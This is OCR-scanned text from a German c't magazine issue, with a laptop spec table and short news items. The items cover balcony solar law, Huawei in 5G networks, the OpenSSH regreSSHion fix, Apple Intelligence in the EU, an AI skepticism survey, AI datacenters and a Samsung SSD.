14,5 Zoll (36,8 cm), 13,8 Zoll (35 cm), 15 Zoll (38,2 cm), 13 Zoll (33 cm), 14 Zoll (35,6 cm), 16 Zoll (40,6 cm),

2944 x 1840, 16:10, 240 dpi, 2304 x 1536, 3:2, 201 dpi, 2496 x 1664, 3:2,199 dpi, 2880 x 1920, 3:2, 267 dpi, 2880 x 1800, 16:10, 242 dpi, 2880 x 1800, 16:10, 212 dpi,
90 Hz, 1 ... 454 cd/m?, 120 Hz, 2 ... 490 cd/m?, 120 Hz, 2 ... 499 cd/m?, 120 Hz,2 ... 554 cd/m?, 120 Hz, 4 ... 376 cd/m?, 120 Hz, 4 ... 374 cd/m?,
spiegelnd, OLED spiegelnd, IPS spiegelnd, IPS spiegelnd, OLED spiegelnd, OLED spiegelnd, OLED

Qualcomm Snapdragon X Elite Qualcomm Snapdragon X Plus Qualcomm Snapdragon X Elite Qualcomm Snapdragon X Elite Qualcomm Snapdragon X Elite Qualcomm Snapdragon X Elite
X1E-78-100 (12 P-Kerne) X1P-64-100 (10 P-Kerne) X1E-80-100 (12 P-Kerne) X1E-80-100 (12 P-Kerne) X1E-80-100 (12 P-Kerne) X1E-84-100 (12 P-Kerne)

32 GByte LPDDR5 / 16 GByte LPDDR5 / 16 GByte LPDDR5 / 32 GByte LPDDRS / 16 GByte LPDDR5 / 16 GByte LPDDR5 /

Micron (1024 GByte) Samsung PM9B1 (256 GByte) Samsung PM9B1 (256 GByte) SKHynix BC901 (1024 GByte) Kioxia (512 GByte) Samsung (1024 GByte)
Qualcomm Hexagon Qualcomm Hexagon Qualcomm Hexagon Qualcomm Hexagon Qualcomm Hexagon Qualcomm Hexagon
Qualcomm Adreno X1-85 Qualcomm Adreno X1-85 Qualcomm Adreno X1-85 Qualcomm Adreno X1-85 Qualcomm Adreno X1-85 Qualcomm Adreno X1-85

(vom Hauptspeicher) (vom Hauptspeicher) (vom Hauptspeicher) (vom Hauptspeicher) (vom Hauptspeicher) (vom Hauptspeicher)
Qualcomm Agstic Qualcomm Agstic Qualcomm Agstic Qualcomm Agstic Qualcomm Agstic Qualcomm Agstic

—/ =/ Qualcomm 7800 — / —/ Qualcomm 7800 — / =/ Qualcomm 7800 optional / — / Qualcomm 7800  —/ —/ Qualcomm 7800 — / —/ Qualcomm 7800
(Wi-Fi 7, 2 Streams) (Wi-Fi 7, 2 Streams) (Wi-Fi 7, 2 Streams) (Wi-Fi 7, 2 Streams) (Wi-Fi 7, 2 Streams) (Wi-Fi 7, 2 Streams)

HID (max. 4 Finger) / — HID (max. 4 Finger) / — HID (max. 4 Finger) / — HID (max. 4 Finger) / — HID (max. 4 Finger) / — HID (max. 4 Finger) / —

129kg/324emx225em/  132kg/301cmx22cm/  1,65kg/329cmx238cm/  125kg/288cmx21,3cm/  1,17kg/312cmx224cm/  1,55kg/ 35,5 cm X 25cm /

1,4..17cm 1,3..1,7¢cm 1,3..18cm 15..1,7¢cm 12..14cm 1,3..16¢cm

1em/19mmx185mm/v  09cm/19mmx185mm/v/ 09cm/19mmx 185mm/+ 05cm/19mmx185mm/v 08cm/19mmx185mm/+/ 09cm/19mmx 185mm/ v/

70 Wh Lithium-lonen (—) 53 Wh Lithium-lonen (v, 50%) 53 Wh Lithium-lonen (v, 50%) 53 Wh Lithium-lonen (v, 50%) 62 Wh Lithium-lonen (v, 80%) 62 Wh Lithium-lonen (v, 80%)

65W,318¢(-) 39W,211¢(-) 60W,262 ¢ (—) 39W,211¢(-) 65W, 164 g (v) 65W, 163 g (V)

3/3/—/3/325Ampere - - - 3/3/—/3/3,25Ampere 3/3/—/3/3,25Ampere
-1

12W/04W 0,4W/04W 0,4W/04W 0,4W/04W 08W/05W 0,7W/05W

1,7W/47W/53W 09W/2,7W/68W LIW/41W/79W 1AW/ 32W/ 41W 1,8W/4,1W/ 4TW 1,8W/42W/53W

66W/ 12,3W/23W 40W/9,6W/24W 65W/9,7W/24W 41W/84W/21W 62W/88W/28W 61W/89W/27TW

66W /0,59 41W /0,59 65W /0,61 41W /0,59 62W /0,55 61W /0,54
-1

27,6h/16,7h/49h 22,7h/12,4h/43h 258h/145h/53h 19,4h/128h/3,2h 202h/11h/3,1h 229h/115h/43h

69 % 53 % 70 % 56 % 45% 44 %

<0,1 sone / 1,3 sone <0,1 sone / 0,4 sone <0,1 sone / 0,5 sone <0,1 sone / 0,8 sone <0,1 sone / 0,1 sone <0,1 sone / 0,3 sone

3985 / 3903 MByte/s 3015 / 2057 MByte/s 3017 / 1971 MByte/s 4142 / 3396 MByte/s 3161/ 2350 MByte/s 2701 / 2372 MByte/s

- — 82 MByte/s — — 53 MByte/s

141-825 / 99-382 / 131-1275 / 88-582-588 / 191-643 / 40-588 / 359-1367 / 155-398 / 78-510 / 86-302 / 1 34-196 / 74-349 /

157-326 Mbit/s 165-398 Mbit/s 182-388 Mbit/s 177-352 Mbit/s 45-234 Mbit/s 146-233 Mbit/s

- @ /96,3 dBA @ /96,6 dBA - ® /96,3 dBA @ /96,5 dBA

107 / 882 Punkte 106 / 781 Punkte 107 / 906 Punkte 105 / 823 Punkte 124 / 654 Punkte 129 / 854 Punkte

2459 / 14340 Punkte 2311 / 12324 Punkte 2377 / 13166 Punkte 2327 / 13622 Punkte 2835 / 14688 Punkte 2927 / 15556 Punkte

5879 / 1827 / 9745 Punkte 5242 / 1781 / 10133 Punkte 5314 / 1807 / 9661 Punkte 5214 / 1795 / 9668 Punkte 4789 / 1654 / 10000 Punkte 6135/ 2108 / 11313 Punkte

1600 € 1200 € 1550 € 2980 € 1700 € 2100 €
2 Jahre 1 Jahr 1 Jahr 1 Jahr 2 Jahre 2 Jahre

~
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Balkonkraftwerke:

Niedrigere Hiirden fiir Eigentiimer und Mieter

Nach dem Solarpaket I folgen weitere
Vereinfachungen fiir Menschen, die
auf ihrem Balkon Solarstrom er-
zeugen wollen: Eigentiimergemein-
schaften und Vermieter kénnen nicht
mehr einfach ablehnen.

Fiir Mieter und Wohnungseigentiimer sin-
ken die rechtlichen Hiirden, wenn sie auf
ihrem Balkon eine Solaranlage installieren
wollen. Balkonkraftwerke gehoren kiinftig
im Wohnungseigentumsrecht sowie im
Mietrechtzuden ,,privilegierten baulichen
Verdnderungen®. Fiir den entsprechenden
Gesetzentwurf der Bundesregierung
stimmten Anfang Juli alle Fraktionen im
Bundestag mit Ausnahme der AfD. Das

Bild: Stefan Sauer/dpa

Gesetz muss nun noch vom Bundesrat ver-
abschiedet werden.

Laut dem Bundesministerium fiir Jus-
tiz hat die Anderung zur Folge, dass Eigen-
tiimergemeinschaften einem Wohnungs-
besitzer nicht mehr untersagen diirfen, ein
Balkonkraftwerk zu installieren. Sie diirf-
ten lediglich Vorgaben zur konkreten Ge-
staltung der Anlage machen, also etwa zu
Abmessungen oder Einbauwinkeln. Nicht
zuldssig sei es, ,,durch iiberzogene Vorga-
ben zum ,Wie' letztlich die Installation zu
verhindern®, fiihrt das Ministerium aus.
Andernfalls konne man den Beschluss ge-
richtlich anfechten.

Ahnlichist die Lage kiinftig fiir Mieter.
Vermieter konnen Balkonkraftwerke kiinf-

Balkonkraft-
werke zihlen
kiinftig zu den
privilegierten
baulichen Ver-
anderungen,
genau wie
Wallboxen fiir
E-Autos oder
Umbauten fiir
Barrierefrei-
heit.

Huawei-Technik verschwindet aus
deutschen 5G-Kernnetzen

Bis Ende 2026 werden die deutschen Mo-
bilfunkbetreiber simtliche Komponenten
der chinesischen Hersteller ZTE und Hua-
wei aus ihren 5G-Kernnetzen entfernen.
Darauf haben sich die Bundesregierung
und die Provider nach langen Verhandlun-
gen geeinigt, wie das Innenministerium
(BMI) Anfang Juli verkiindete. Die Netz-
betreiber haben langst mit dem Riickbau
begonnen, in den Kernnetzen spielt Huawei
schon jetzt keine wesentliche Rolle mehr.

28

Dem BMI zufolge ersetzen die Pro-
vider auflerdem bis Ende 2029 ,die
kritischen Funktionen der 5G-Netzwerk-
managementsysteme” der chinesischen
Hersteller in ihren Zugangs- und Trans-
portnetzen. Antennen von Huaweikonnen
theoretisch weiterverwendet werden,
doch Huawei miisste dafiir seine proprie-
taren Schnittstellen offenlegen. Ob der
Konzern dazu bereit ist, ist noch offen.

(Falk Steiner/cwo@ct.de)

tig nur noch ablehnen, wenn ihnen die
Installation im konkreten Fall ,,nicht zuge-
mutet werden kann“, wie das Ministerium
erlautert. Im Allgemeinen wiirden die In-
teressen der Eigentiimer durch ein Balkon-
kraftwerk ,,nur in einem zumutbaren Maf3
beeintrichtigt”. Im Streitfall haben Mieter
vor Gericht also gute Karten. An den Denk-
malschutzvorschriften dndert sich durch
die neuen Regeln jedoch nichts.

Bereits im Mai waren mitdem ,,Solar-
paket I Vereinfachungen fiir Balkonkraft-
werke in Kraft getreten, so sind inzwischen
zum Beispiel Wechselrichterleistungen bis
zu 800 Watt erlaubt; analoge Stromzahler
diirfen tibergangsweise weiterverwendet
werden. (cwo@ct.de)

Kurz & knapp

Das sogenannte Recht auf schnelles
Internet wird verscharft: Der Digitalaus-
schuss des Bundestags stimmte Anfang
Julifiir eine Erhéhung der Mindestband-
breite von 10 auf 15 MBit/s. Die Mindest-
bandbreite beim Upload soll von 1,7
MBit/s auf 5 MBit/s steigen. In Kraft tre-
ten werden die neuen Regeln voraus-
sichtlich Ende des Jahres. Verbraucher,
die an ihrem Hauptwohnsitz keinen aus-
reichend schnellen Zugang erhalten,
kénnen sich bei der Bundesnetzagentur
melden, die dann ein Verfahren einleitet
(siehe ct.de/ygys). Aus Sicht des Bun-
desverbands der Verbraucherzentralen
ist die Erhéhung der Mindestbandbreite
Jangst Uberféllig”. Die Bundesnetz-
agentur misse zudem den Priifprozess
beschleunigen, damit Verbraucher
schneller zu ihrem Recht kommen.

Gute 13 Jahre nach seiner Einflihrung
stoBt der elektronische Personalaus-
weis auf mehr Akzeptanz. Laut der
Studie E-Government-Monitor der Ini-
tiative D21 und der TU Miinchen haben
22 Prozent der Bundesburger die On-
line-Ausweisfunktion schon einmal ge-
nutzt, ein Plus von 8 Prozentpunkten
im Vergleich zum Vorjahr.

Meldeformular der Bundesnetz-
agentur: ct.de/ygys
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Gefixt und gehartet

OpenSSH fixt einen gravierenden Bug und
verbessert die Sicherheit insgesamt

In OpenSSH 9.8 haben die Ent-
wickler eine gravierende Sicher-
heitsliicke namens , regreSSHion"
gestopft. Zudem fiihrt das Re-
lease weitere sicherheitsrele-
vante Features ein und bereitet
zukiinftige Verbesserungen vor.

Von Sylvester Tremmel

ie Meldung der Sicherheitsfirma Qua-

lys zog zu Recht weite Kreise: Die Ex-
perten des Unternehmens hatten eine
schwerwiegende Sicherheitsliicke in
OpenSSH gefunden, die es Angreifern er-
moglichte, Linux-Server mit erreichbarem
OpenSSH-Server unter ihre Kontrolle zu
bringen. Die Forscher tauften die Liicke
aufden Namen regreSSHion (von Regres-
sion, also Riickschritt), weil es sichum ein
seit 2006 bekanntes Problem handelt, das
eigentlich langst behoben worden war.
Durch eine unachtsame Codeédnderung
wurde das Problem 2020 wieder einge-
fiihrt. So kommt es, dass OpenSSH-Ver-
sionen vor Version 4.4p1 fiir regreSSHion
anfillig sind, ebenso wie Versionen ab
8.5pl.

In einem lesenswerten Dokument
(siehe ct.de/yer5) erkldren die Forscher
die diversen Reifen, durch die sie springen
mussten, um die Liicke tatsidchlich auszu-
nutzen: Letztlich gelang es ihnen aber
sogarin dreiverschiedenen Versionen von
OpenSSH, die Liicke bis zu einer erfolg-
reichen Remote-Code-Execution auszu-
bauen - darunter auch die zu dem Zeit-
punkt aktuelle OpenSSH-Version fiir De-
bian12. Der Aufwand dafiir war allerdings
enormund auch der fertige Proof-of-Con-
cept benotigt im Durchschnitt ungefihr
10.000 Verbindungsversuche, um die
Liicke auszunutzen. Es handelt sich um
eine Wettlaufsituation (race condition),
die auftreten kann, wenn der Server nach

c't 2024, Heft 17

langem Warten die Verbindung schliefdt,
weil der Client sich nicht anmeldet. An-
greifer benotigen eine ordentliche Portion
Gliick-oder ebenviele Versuche -,um den
Zeitpunkt exakt zu treffen und die race
condition auszuldsen.

Je nachdem, wie viele Verbindungen
ein SSH-Server gleichzeitig annimmt und
wie lange er wartet, bevor er eine unferti-
ge Verbindung wieder schliefdt, dauert es
Stunden bis Tage, um einen Server zu
kompromittieren. Umso beeindrucken-
der, dass die Experten bei Qualys die
Liicke tatsachlich praktisch demonstrieren
konnten. Die sind indes voll des Lobes fiir
OpenSSH und bezeichnen regreSSHion
als ,einzelnen Ausrutscher in einer an-
sonsten fast makellosen Implementie-
rung”. Die OpenSSH-Entwickler leisteten
beispielhafte Arbeit und hitten eines der
sichersten Programme tiberhaupt geschaf-
fen.

Clients bestrafen

Indenneuen Versionen 9.8 und 9.8plihrer
Software haben die OpenSSH-Entwickler
nicht nur regreSSHion behoben, sondern
auch an diversen anderen Stellen die
Sicherheit der Software weiter verbessert.
Vermutlich am auffilligsten: Der Server
kenntjetzt die Option PerSourcePenalties,

OpenSSH 9.8 | Aktuell

um detaillierte Strafen flir missliebige
Clients einzustellen. Wenn sie beispiels-
weise wiederholt falsche oder keine Zu-
gangsdaten iibermitteln oder gar den Ser-
ver zum Absturz bringen, kann OpenSSH
sie mit einem temporiren Bann belegen.
Im Grunde ein Ersatz fiir die bekannte
Losung Fail2Ban, der in den Server inte-
griert, standardmaflig aktiv und sinnvoll
vorkonfiguriert ist.

Auflerdem wurde der OpenSSH-Ser-
ver in zwei ausfiihrbare Dateien aufgespal-
ten: eine, die nur auf Verbindungsanfragen
lauscht, und eine zweite, die das SSH-Pro-
tokoll implementiert und das Gros der
Arbeit verrichtet. Erstere fillt klein aus,
was die Angriffsfliche verringert, und letz-
tere wird pro Verbindung ausgefiihrt, was
Angriffe ebenfalls erschweren kann. In
Zukunft planen die Entwickler, den Server
in noch mehr, kleinere Binardateien auf-
zusplitten.

OpenSSH fiihrt mit Version 9.8 noch
weitere Sicherheitsverbesserungen ein,
unter anderem soll der Inhalt von Release-
Tarballs von nun an exakt dem Inhalt des
jeweiligen Zweigs im Code-Repository ent-
sprechen. Offenbar eine Lehre aus der Hin-
tertiir, die Ende Marz dieses Jahres in den
xz-Utils entdeckt wurde [1]. Alle weiteren
Anderungen und Verbesserungen lesen
Interessierte in den Release-Notes des Pro-
jekts (siehe ct.de/yer5). (syt@ct.de) ct

Literatur

[1] Sylvester Tremmel, Sprengladung angebracht,
Eine Analyse der xz-Hintertur, Teil 1, c't 16/2024,
S.134

Qualys-Bericht und Release-Notes:
ct.de/yer5

3 ® OpenssH x |

& 5 0

7 Errr——r—
v
OB nitpswww & ® 9 m Da.s Projekt
mit dem
Kugelfisch
im Geheim-
agenten-
look mag
eine alt-
backene
Website
OpensSSH 9.8 released July 1, 2024 haben, aber
OpenSSH is the premier connectivity tool for remote login with the SSH die Security
protocol. It encrypts all traffic to eliminate eavesdropping, connection von Open-
hijacking, and other attacks. In addition, OpenSSH provides a large suite of .
; i o SSH ist
secure tunneling capabilities, several authentication methods, and .
sophisticated configuration options. Spitzen-
klasse.
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Bild: Apple

Aktuell | Apple

Vom Baum der ver-
wehrten Erkenntnis

Apple verweigert neue Kl-Funktionen

inder EU

Noch vor Wochen hatte Apple
keine generative Kl im Produkt-
spektrum und schien weit abge-
schlagen hinter Marktfiihrern.
Nun hat der Konzern die Tech-
nik, setzt sie aber als Faustpfand
gegen Auflagen der EU ein.

Von Dusan Zivadinovié

pple will sich in Sachen generative KI

mit einem vorbildlichen Privatspha-
renschutz an die Spitze der Branche setzen.
Dafiir hat der Konzern nicht nur wie bisher
lokale KI-Funktionen auf leistungsfihigen
Geriten vorgesehen, sondern verzahnt
diese fiir schwierige Aufgaben mit seiner
eigens entwickelten Cloud, die KI-Funktio-
nen abgesichert auf hauseigenen Servern
und Chips ausfiihrt. Unter Privacy-Ge-
sichtspunkten hat Apples KI-Cloud daher
den Rang eines Fort Knox (siehe ct.de/
yr97). Fachleute tiberschlagen sich mit Lob
und nicht nur Apple-Apologeten warten un-
geduldig darauf, die Technik zu nutzen.

1B0e =15(
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Doch Apple nimmt sein KI-Paket
»Apple Intelligence” inzwischen als Faust-
pfand im Kampf gegen EU-Auflagen.
Wegen ,,regulatorischer Unsicherheiten
durch den Digital Markets Act® verzogere
sich die Einfiihrung in der EU, erklarte der
Konzern tiberraschend Ende Juni. Eine
Umsetzung von Interoperabilititsforde-
rungen der EU konnte sich nachteilig auf
den Privatsphirenschutz auswirken. Aus
gleichem Grund will Apple den EU-Kun-
den neben seinem Baum der KI-Erkennt-
nis auch das viel beachtete iPhone-Mirro-
ring auf Macs und Verbesserungen der
Fernwartung iiber SharePlay vorenthalten.

In Briissel nimmt man die Weigerung
aus Cupertino vergratzt zur Kenntnis:
Beim Digital Markets Act gehe es darum,
Wettbewerb zu ermdglichen, wies EU-
Wettbewerbskommissarin Margrethe Ves-
tager Apple zurecht. Sie finde es sehr inte-
ressant, dass Apple sein KI-Paket nur dort
einsetzen wolle, wo das Unternehmen
nicht verpflichtet sei, Wettbewerb zuzu-
lassen.

Fiir Interessenten in der EU bleibt un-
term Strich: Erst konnte Apple keine gene-
rativen KI-Funktionen bieten, nun will der
Konzern nicht. Das Resultat ist dasselbe:

Bezogen auf
die Lebens-
dauer der
Apple-Hard-
ware kdnnen
sich Interes-
senten in der
EU auf eine
kiirzere Lauf-
zeit von
Apples KI-
Paket ein-
richten.

Wer solche Funktionen braucht, schaut
iibern Zaun zur Konkurrenz. Dabei wollte
Apple gerade mitdenneuen KI-Funktionen
den Verkauf aktueller und kommender
iPhones, iPads und Macs ankurbeln.

Auflerhalb Europas will Apple zu Be-
ginn 20 seiner Produkte die neuen KI-
Dienste spendieren, sieche Tabelle. Diese
sollen die ab Herbst erwarteten Betriebs-
systeme iOS 18, iPadOS 18 und macOS 15
mitbringen. Zum geplanten Leistungsum-
fang gehoren unter anderem generative
KI fiir Texte und Bilder, dazu Transkri-
bierung von Sprachnotizen und Telefona-
ten und eine zeitgemafd schlaue Sprach-
assistenz Siri.

Auftillig ist, dass Apples HomePod-
Lautsprecher leer ausgehen werden, ob-
wohl diese noch vor dem KI-Boom als
»intelligente Smart-Home-Assistenten®
positioniert worden sind. Doch fiir grof3e
generative KI-Modelle seien mindestens
8 GByte Arbeitsspeicher erforderlich,
wihrend die HomePods maximal 1 GByte
enthalten. Man konnte nun hoffen, dass
den HomePods wenigstens Apples KI-
Cloud schlaue Antworten einfliistert,
schliefdlich schiitzt auch diese die Privat-
sphire. Doch Apple wehrt ab: Das KI-Pa-
ket sei so fordernd, dass die Ausstattung
der HomePods selbst fiir die Zuarbeit der
Cloud nicht gentige.

Manche hoffen, dass Apple noch ein
Assim Armel hat,um die halbklugen Laut-
sprecher vor dem plotzlichen Weg zum
Alteisen zu retten. Schliefdlich gelten sie
als Briickenkopf zu allerlei Smart-Home-
Zubehor. Optimisten spekulieren daher,
dass Apple den HomePods den Zugang zu
KI-Funktionen der schnellen iPhones 6ff-
nen konnte.

Immerhin: Viele kommende Gerite
werden ab Werk fiir Apple Intelligence ge-
riistet sein, etwa die ab Herbst erwarteten
vier neuen iPhones der Generation 16 mit
A18-SoC oder die neuen MacBook-Pro-
Modelle mit M4-Chip. Ob auch alle kiinf-
tigeniPads fiir Apple Intelligence ausgelegt
werden, bleibt abzuwarten. (dz@ct.de) ¢&

Erste Gerate mit
Apple Intelligence

Produktname | Modellreihen

Mac iMac M1 und M3, Mac mini M1 und M2, Mac
Studio M1 und M2, Mac Pro M2, MacBook Air
M1, M2 und M3, MacBook Pro M1, M2 und M3

iPhone iPhone 15 Pro, iPhone 15 Pro Max

iPad iPad Air M1, iPad Air M2, iPad Pro M1, iPad Pro
M2, iPad Pro M4

Vision Pro 1. Generation

c't 2024, Heft 17



Null Bock auf Kl

Studie ermittelt gro3e Vorbehalte
gegentber Kl in Deutschland

Eine Umfrage zeigt deutlich, wie
desillusioniert die Deutschen
von den Heilsversprechen der
kiinstlichen Intelligenz sind. Die
Befiirworter sehen die Ursachen
in einer zu negativen Bericht-
erstattung - ein Kommentar.

Von Hartmut Gieselmann

D ie Berliner Denkfabrik ,,Das Progres-
sive Zentrum", die die Bundesregie-
rung berit, hat 5000 Biirger befragen
lassen, was sie von KI halten. Mit Skepsis
habe man gerechnet, sagte der mit der
Analyse beauftragte Autor Thomas Ramge
bei der Pressevorstellung der Ergebnisse
Anfang Juli. Dass die Ablehnung aber so
deutlich und das Bild von KI hierzulande
sodesastros ausfallen wiirde, habe ihn und
seine Kollegen dann doch iiberrascht.
Schaut manin die Details der Online-
befragung, die das Marktforschungsinsti-
tut Civey Ende Mai durchgefiihrt hat,
ergibt sich ein differenzierteres Bild: Nur
23 Prozent der Befragten glauben, dass
kiinstliche Intelligenz ihr Leben verbes-
sernwird. Existenzangste spielen offenbar
keine so grofle Rolle: Uber 60 Prozent
haben keine Befiirchtungen, dass diese
Technik ihren Arbeitsplatz bedroht. Uber
70 Prozent glauben aber nicht, dass Schii-
ler mit KI besser lernen. Und 77 Prozent
befiirchten, dass KI machtige Personen
und Unternehmen noch machtiger macht.
Die Skepsis gegentiber KI zieht sich
laut Ramge durch alle Alters- und Bil-
dungsschichten, durch alle Berufs- und
Einkommensgruppen, vom Grof3stidter
bis zum Landbewohner sowie quer durch
die Republik. Deutliche Unterschiede
gibe es bei der Parteiaffinitat. Am skep-
tischsten gegentiiber kiinstlicher Intelli-
genz seien die Wihler der AfD: Nur 16
Prozent trauten KI zu, ihr Leben zu ver-

c't 2024, Heft 17

Bild: Das Progressive Zentrum

bessern. Bei Union- und SPD-Wihlern
seien es 25 Prozent, bei Anhingern von
Griinen und Linken ein Drittel. Selbst
unter den Wahlern der FDP - die einst
den Wahlspruch ausgab ,,Digital first, Be-
denken second.” - ist noch nicht einmal
jeder Zweite davon iiberzeugt, dass KI
sein Leben in Zukunft verbessern wird.
Civey gewichtete die Antworten in einer
quotierten Stichprobe, um sich einer
Reprasentation der Bevolkerung anzu-
nahern.

Positives Storytelling

Die Zahlen sprechen also eine deutliche
Sprache. Doch Ramge hilt sich in seinem
Thesenpapier nicht lange mit der Suche
nach Griinden und Ursachen auf. Fiir ihn
sind KI-Skeptiker nichts anderes alsirratio-
nale Pessimisten und Fortschrittsverwei-
gerer. Um sie zu Uiberzeugen, brauche es
eine ,,optimistische Zukunftserzahlung® -
ein Appell, den er direkt an die Pressever-
treter richtet, die nicht immer nur ,,das
Haar in der Suppe” suchen sollten. Als sei
esnur eine Frage desrichtigen Marketings,
die Biirger auf Linie zu bringen.

Dabei ist es gerade die Diskrepanz
zwischen Marketing und Realitit, die die
Skepsis gegeniiber der KIndhrt: vor allem

Kiinstliche Intelligenz | Aktuell

beiIT-Experten, die sich die Algorithmen,
die Trainingsdaten und die Verarbeitungs-
prozesse genau ansehen und die genera-
tiven Sprachmodelle auf den Priifstand
stellen. Was hat Microsoft nicht alles voll-
mundig von seinen Copiloten verspro-
chen. Und wie desastros waren dann die
Ergebnisse, als der Verkauf der Dienste
startete (siehe ¢’t 4/2024, S. 116).

Dass die Menschen hierzulande
kaum befiirchten, KI gefihrde ihren
Arbeitsplatz, mag auch mit der eigenen
Erfahrung zusammenhingen, dass
ChatGPT und andere Modelle immer
wieder Falschaussagen halluzinieren.
Schaut man sich die Mechanismen dahin-
ter, die zugrunde liegenden Transformer-
Modelle, den automatisierten Prozess des
Daten-Scrapingsim Internet sowie deren
Aufbereitung mit Niedriglohnern ge-
nauer an, wird Kklar, dass es sich um ein
grundsatzliches Problem und nicht nur
um eine voriibergehende Kinderkrank-
heit handelt.

Da kommt die Schwarmintelligenz
der deutschen Bevolkerung zu einer
nilichterneren Einschitzung als die KI-
Lobbyisten. Etwa wenn die Biirger nicht
wollen, dass ihr Arzt sich bei der Behand-
lung zu sehr auf fehleranfillige KI-Werk-
zeuge verldsst oder ,Teacher-Bots“ ihre
Kinder unterrichten, wie es sich Ramge in
seinem Zukunftsszenario ausmalt. Die
Bundesregierung sollte sich fragen, ob sie
wirklich gut beraten ist von einer Firma,
die keine Losungen der realen Probleme
vorschlagt, die weite Teile der Bevolke-
rung mit KI sehen, sondern nur ein smar-
teres Marketing. (hag@ct.de) c

KI-Studie: ct.de/ysgf

«Kiinstliche Intelligenz wird mich-
tige Personen, Unternehmen und

.Kiinstliche Intelligenz wird
mein Leben verbessern*?

63 2% 13 3%

Institutionen noch méachtiger

machen"?

Die rund 5000
Befragten der on-
line durchgefiihr-
ten KI-Studie hat-
ten zu jeder Frage
funf Auswahlmog-
lichkeiten. Dunkel-
rot und -griin sig-
nalisieren eine
S0 besonders starke
Weil nicht Zustimmung oder
sy Ablehnung der
Aussage.

12 I%
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Bit-Rauschen _:

Rechenzentren mit Millionen
GPUs und Software-Firma AMD

Im Rennen um die erhofften
KI-Billionen nehmen Rechen-
zentren bald absurde AusmafBe
an, Firmen wie AMD richten sich
komplett neu aus und Elon Musk
kriegt Torschlusspanik.

Von Carsten Spille

er KI-Boom findet derzeit noch

hauptsédchlich in der Cloud und
damit in den Rechenzentren dieser Welt
statt. Zumindest wird dort das grof3e
Geld in der Hoffnung hineingepumpt, es
spater einmal vielfach zuriick zu erwirt-
schaften. Der,, AT PC* fiir zu Hause steht
dagegen erst in den Startlochern (siehe
Seite 14 und 58). Rechenzentren schie-
3en deshalb nicht nur wie Pilze aus dem
Boden, sondern beherbergen auch
immer mehr KI-Beschleuniger. Nvidia
und AMD bringen gerade Rechenzentren
ins Gesprich, die aus einer Million und
mehr Beschleunigern bestehen und
damit um mehr als Faktor 20 grofier sind
als derzeitige Supercomputer-Installa-
tionen. Dass damit auch der Energiebe-
darf durch die Decke geht, liegt auf der
Hand. Die Vertrdge mit Stromlieferan-
ten, bei denen die KI-Firmen Grof3-
kontingente aus Wind- und Solarparks
und quasi komplette (Kern)Kraftwerke
einkaufen, hangt man allerdings nicht an
die grofde Glocke. Geschweige denn, dass
selbst damit die im Rahmen des bran-
chenweiten Greenwashings angestrebte
CO,-Neutralitit auf absehbare Zeit nicht
zu erreichen ist.

AMD wird zur
Software-Company

Aber dank dem Lockruf des Mammons ist
KI derzeit kaum zu stoppen. Auch AMD
hat sich zu Herzen genommen, was c’t
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schon seit geraumer Zeit schreibt: Im IT-
Entwicklungsland KI ist tolle Hardware
nur die halbe Miete. Ohne passende Soft-
ware wie Frameworks, Bibliotheken und
optimierte Modelle bleibt man als Herstel-
ler auf ihr sitzen oder ist euphemistisch
ausgedriickt die einzige Firma ohne Lie-
ferzeiten. Um das zu vermeiden, setzt
AMD seine Einkaufstour unter KI-Start-
ups fort.

Nachdem der (Noch-)Chiphersteller-
im August 2023 bereits das franzdsische
Unternehmen Mipsology mit seiner Zebra
Al, einer Engine, die KI-Modelle zum
Inferencing auf FPGAs optimiert und im
Oktober Nod.ai mit der Machine-Lear-
ning-Distribution SHARK iibernommen
hat, folgt mit dem finnischen Silo AI fiir
625 Millionen US-Dollar in bar nun der
neueste Streich. Silo Al ist einer der wich-
tigsten Entwickler, die den finnischen

Supercomputer Lumi nutzen, in dem wie-
derum AMDs Instinct MI250X-Beschleu-
niger rechnen. Inzwischen hat AMD auch
offiziell einen Strategiewechsel eingeleitet
und will nun Software starker priorisieren,
nachdem sie das Hardware-Game durch-
gespielt hat.

Musk will seine Kl
selbst trainieren

Und noch einmal KI: Das Startup xAI von
- wie sollte es angesichts des Namens
anders sein - Paypal-/Tesla-/SpaceX-Mil-
liarddr und Twitter-Rechtslenker Elon
Musk will sein KI-Rechenzentrum jetzt
selbst bauen. Den geplanten 10 Milliarden
US-Dollar schweren Deal mit Oracle
Cloud, deren 24.000 Nvidia-H100-
Beschleuniger die xAI-Chatbots Grok und
Grok 2 trainierten, will Musk nicht weiter
verfolgen, sondern lieber selbst am Steuer
sitzen.

Wie gewohnt per Xeet kiindigte er an,
die xAI werde einen KI-Cluster mit
100.000 H100 in Rekordzeit selbst
bauen. Das System soll noch im Juli mit
dem Training beginnen und das mit Ab-
stand leistungsfahigste seiner Art sein,
wenn es komplettiert ist. Dem Aktienkurs
von Oracle versetzte die Nachricht jeden-
falls schon mal einen 3-Prozent-Dampfer,
derblieb mit 34 Prozent fiirs laufende Jahr
aber weiter satt im Plus.  (csp@ct.de) ¢

Spectrum-X 1600
) dix

2025

£ B SPECTRUM-X fifiZe
WEIMEEE GPU

ANNUAL SPECTRUM-X RHYTHM
SCALING TO MILLIONS OF GPUS

Passende Netzwerkhardware fiir das Millionen-GPU-Rechenzentrum hat
Nvidia mit dem Switch Spectrum-X1600 der Tochter Mellanox fiir 2026 im-
merhin schon mal auf dem Plan, wie die Firma auf der Computex ankiindigte.

c't 2024, Heft 17
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Samsung-SSD mit 61 TByte,
122 TByte am Horizont

Exakt 61,44 TByte fasst Samsungs
neueste Server-SSD, die BM1743.
Sie erscheint zunichst im 2,5-Zoll-
Gehduse, eine schnellere Versionim
EDSFF-Format E3.S soll folgen.

Samsung hat seine SSD mit der bislang
hochsten Speicherkapazitit vorgestellt. Die
BM1743 kommt mit bis zu 61,44 TByte -
doppelt so viel wie Samsungs bisherige
Topmodelle. Der Hersteller tritt damit
einem exklusiven Club bei: Bisher bietet
nur die SK-Hynix-Tochter Solidigm (frither
Intel) eine solche SSD an. Western Digital
hat ebenfalls ein 64-TByte-Modell ange-
kiindigt.

SAMSUNG

BMI743

Samsung SSD BM1743: viel Speicher,
beim Schreiben aber eher langsam

Bild: Samsung

Samsung verwendet bei der BM1743
Speicherbausteine, die vier Bit pro Zelle
speichern (Quadruple Level Cells, QLC),
sogenannter V-NAND der siebten Genera-
tion. Beim Vorginger BM1733 kamennoch
v5-Chips zum Einsatz. Die neuen verdop-
peln die Speicherlagen von 96 auf 192 und
erhohen entsprechend die Speicherdichte.

Zunachst erscheint eine U.2-Version
